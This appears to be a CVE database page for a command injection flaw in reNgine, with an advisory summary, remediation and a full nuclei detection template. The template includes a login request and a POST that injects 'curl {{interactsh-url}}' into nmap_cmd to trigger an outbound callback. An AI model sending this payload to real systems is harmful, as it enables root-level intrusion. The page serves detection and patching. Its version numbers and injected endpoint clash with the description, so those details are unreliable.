Browse / CVEs / CVE-2023-50094
CVE-2023-50094· yogeshojha / rengine· CWE-78
reNgine 2.2.0 - Command Injection
highseverity
8.8CVSS score
13.5%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
Impact
Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.
Fix
Upgrade reNgine to version 2.1.2 or later which includes proper input validation.
How to confirm it
Send: GET /
Positive when: contains(tolower(body), "rengine")
Send: POST /login ; POST /scan-engine/update
Positive when: contains(interactsh_protocol_2, "dns") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2023-50094 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-50094
info:
name: reNgine 2.2.0 - Command Injection
author: Zierax
severity: high
description: |
reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
impact: |
Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.
remediation: |
Upgrade reNgine to version 2.1.2 or later which includes proper input validation.
reference:
- https://github.com/yogeshojha/rengine
- https://github.com/Zierax/CVE-2023-50094_POC
- https://nvd.nist.gov/vuln/detail/CVE-2023-50094
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-50094
cwe-id: CWE-78
epss-score: 0.1354
epss-percentile: 0.96485
cpe: cpe:2.3:a:yogeshojha:rengine:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: yogeshojha
product: rengine
shodan-query: title:"reNgine"
tags: cve,cve2023,rengine,rce,injection,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "rengine")'
internal: true
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /scan-engine/update HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"nmap_cmd": 'curl {{interactsh-url}}'}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol_2, "dns")'
- 'status_code_2 == 200'
condition: andReferences
- https://github.com/yogeshojha/rengine
- https://github.com/Zierax/CVE-2023-50094_POC
- https://nvd.nist.gov/vuln/detail/CVE-2023-50094
Use this check only on systems you are authorised to test. Where the data comes from